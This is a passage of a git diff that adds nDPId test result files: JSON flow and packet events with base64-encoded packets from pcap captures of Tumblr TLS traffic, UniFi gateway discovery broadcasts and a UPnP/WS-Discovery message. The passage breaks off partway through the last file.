+00853{"flow_id":46,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24718,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":795914,"pkt_caplen":373,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":373,"pkt_l4_len":319,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAT8GPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY\/FghbXI8FfvogBgLj983AAABAQgKwt3imxNnKAEXAwMBGhoXlMHrWJpbYxv6AfH1ejblIx3Aa76YiN83He+kADd00k1+MkJGFTH\/gv70P\/Ak2AHeJI+bZLOalz4vMBBGd22tqdzT7CfTqv+dgfeOet6picHdZkVLPNZ9dzm14ypepKEXLAwxR+eoIpnlF8agnbxwfUfy3j5IBD1GfRDo+Yy\/EtJwmlXnU+A3P\/NiJMgpLvu14I0zKCZ1mirTJUUMYDw33cagESao44rjC4aKuR6HZ8ewpjymGjRVm3SrIU8WuJDJlUxZJLcFSyzdgJhwhcZD10G\/u4vEKCca\/2XI1\/+PAYQHBLmvdUBNVlwaeGNsvK1IHL+tUR3WfyMtzg5dkwHuq2ssQBR7SpldTL4WtmG2vA0AXY7VM9zCyw=="} +00456{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24719,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":795953,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1ACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV++hYIW6RgBAB904HAAABAQgKE2coJ8Ld4ps="} +01276{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24720,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":796414,"pkt_caplen":686,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":686,"pkt_l4_len":632,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAngGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY\/FghbpE8FfvogBgLjyopAAABAQgKwt3inRNnKAEXAwMCUzZARbwxBkz3+SQfcs\/ZgbJZR+bKWkZu1ko90Fx\/mX2WuGFZ3yc43oenDWWC7\/RugTGPifZDrYRGw8ILNxwIdvH669GvPEFLAiUkCO9U1MaSlMiRtwAwlul+BFEl\/v6cbkxREtBOi\/I9EyBs3uZIgfGrIP7V36dV5XAdEh9XDAOTT+r7CVkTcwhHyuTDl+4cEe2WDrf6kH3EvVNHovmTgR6NBbi2ZzvYf\/I871e+eny2ObsTDS6auOCtJPml+QIiKq\/ZkAuyyE1Zk+G1NyrqxHvZOjNK6PZGzRLIb2cXXN+qdoebo6v7qqagSnmieYKIxz39tsigxdvJ2Vr383zhE8HvFXk6odr7Mo1KVfG41Qgy41fDBKoqAqmSHI9\/7hARsmC4Ktp6kgI\/6jCJ5pWZ4C\/rURmJeamcqLzm3Qyz+EXXgtS7ZHk6gYfIMlqB0g8AfaGtX4V9ZKDbk7QH4E3XetnXPqE0zgsbAXBciZyypq0sULlHE+VYpeL9kTykm7iBz2x1sM5QbsFGx+gXTmWRZj1LeT\/eAGa7MD277zs4U0uvXuwqDDXXC5f2ps1c5TG15onNx03RwFOOB4k6M3IjiYwxMPI02tCNW0y\/LSreaxKdooxeKVrn2mf0VY9lnBX9Si7WNjag5aI+NS859ngGEY9uoQE3\/Ami5dcrKKUOWHWg9oqk4\/qmhetPitZOnjEO5fFPTUN6biVkUyJISciA2ixL1SyqYa45+bJx+mhTWP82k4RdhoHrnraU8LSU0jqAY0Jsb3n37bdgMNgq+P75djh0grs="} +00456{"flow_id":46,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24721,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":796421,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1ACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV++hYIXDpgBAB80uwAAABAQgKE2coKMLd4p0="} +00514{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24733,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1605292122874,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200a","src_port":40190,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24733,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":874816,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDJQ7ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnP4Bu4CgSN\/gvLosgBAB9qrlAAABAQgK1OQQnsLdMvM="} +00457{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24745,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":899206,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbuc\/uC8uiyAoEjggBALQrp6AAABAQgKwt3jAtThR68="} diff --git a/test/results/ubntac2.pcap.out b/test/results/ubntac2.pcap.out new file mode 100644 index 000000000..def83176c --- /dev/null +++ b/test/results/ubntac2.pcap.out @@ -0,0 +1,31 @@ +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1486943433175,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":34085,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00642{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943433,"pkt_ts_usec":175002,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4FAAEARuPfAqAEB\/\/\/\/\/4UlJxEAtx2vAgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADeYAsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFc8bAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1486943433175,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":34085,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1486943433175,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":34085,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1486943443357,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":44641,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00643{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943443,"pkt_ts_usec":357445,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4JAAEARuPbAqAEB\/\/\/\/\/65hJxEAt\/NoAgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADeagsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFdAbAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1486943443357,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":44641,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1486943443357,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":44641,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1486943453510,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":55321,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00642{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943453,"pkt_ts_usec":510239,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4NAAEARuPXAqAEB\/\/\/\/\/9gZJxEAt8imAgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADedAsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFdEbAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1486943453510,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":55321,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":4,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1486943453510,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":55321,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1486943463665,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":47871,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00643{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943463,"pkt_ts_usec":665911,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4RAAEARuPTAqAEB\/\/\/\/\/7r\/JxEAt+S2AgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADefgsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFdIbAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1486943463665,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":47871,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1486943463665,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":47871,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1486943473817,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":59772,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00642{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943473,"pkt_ts_usec":817118,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4VAAEARuPPAqAEB\/\/\/\/\/+l8JxEAt7UuAgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADeiQsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFdMbAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1486943473817,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":59772,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":6,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1486943473817,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":59772,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1486943483995,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":52220,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00642{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943483,"pkt_ts_usec":995037,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4ZAAEARuPLAqAEB\/\/\/\/\/8v8JxEAt9GkAgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADekwsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFdQbAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1486943483995,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":52220,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":7,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1486943483995,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":52220,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1486943494148,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":47746,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00642{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943494,"pkt_ts_usec":148315,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4dAAEARuPHAqAEB\/\/\/\/\/7qCJxEAt+IUAgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADenQsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFdUbAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1486943494148,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":47746,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":8,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1486943494148,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":47746,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1486943504301,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":42838,"dst_port":10001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00643{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ubntac2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486943504,"pkt_ts_usec":301123,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"\/\/\/\/\/\/\/\/gCqojWksCABFAADLv4hAAEARuPDAqAEB\/\/\/\/\/6dWJxEAt\/Q2AgYAqwIACoAqqI1pK8CoAhUCAAqAKqiNaSzAqAEBAQAGgCqojWkrCgAEAADepwsABHVibnQMAARVR1czAwA4VW5pRmlTZWN1cml0eUdhdGV3YXkuRVItZTEyMC52NC4zLjMzLjQ5MzYwODYuMTYxMjAzLjIwMzEWAA40LjMuMzMuNDkzNjA4NhUABFVHVzMXAAEAGAABABMABoAqqI1pKxIABAAAFdYbAAU0LjAuMA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"ubntac2.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1486943504301,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"255.255.255.255","src_port":42838,"dst_port":10001,"l4_proto":"udp","ndpi": {"proto":"UBNTAC2","breed":"Safe","category":"Network"},"ubntac2": {"version":"UniFiSecurityGateway.ER-e120.v4"}} diff --git a/test/results/upnp.pcap.out b/test/results/upnp.pcap.out new file mode 100644 index 000000000..0c2cd66dc --- /dev/null +++ b/test/results/upnp.pcap.out @@ -0,0 +1,16 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"upnp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1541515314826,"flow_last_seen":0,"flow_tot_l4_data_len":664,"flow_min_l4_data_len":664,"flow_max_l4_data_len":664,"flow_avg_l4_data_len":664,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::3441:3d24:6d30:a807","dst_ip":"ff02::c","src_port":58932,"dst_port":3702,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01297{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"upnp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1541515314,"pkt_ts_usec":826314,"pkt_caplen":718,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":718,"pkt_l4_len":664,"pkt":"MzMAAAAMGNvyL6AYht1gDeGUApgRAf6AAAAAAAAANEE9JG0wqAf\/AgAAAAAAAAAAAAAAAAAM5jQOdgKYg108P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI\/Pjxzb2FwOkVudmVsb3BlIHhtbG5zOnNvYXA9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvMDUvc29hcC1lbnZlbG9wZSIgeG1sbnM6d3NhPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA0LzA4L2FkZHJlc3NpbmciIHhtbG5zOndzZD0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNC9kaXNjb3ZlcnkiPjxzb2FwOkhlYWRlcj48d3NhOlRvPnVybjpzY2hlbWFzLXhtbHNvYXAtb3JnOndzOjIwMDU6MDQ6ZGlzY292ZXJ5PC93c2E6VG8+PHdzYTpBY3Rpb24+aHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNC9kaXNjb3ZlcnkvUmVzb2x2ZTwvd3NhOkFjdGlvbj48d3NhOk1lc3NhZ2VJRD51c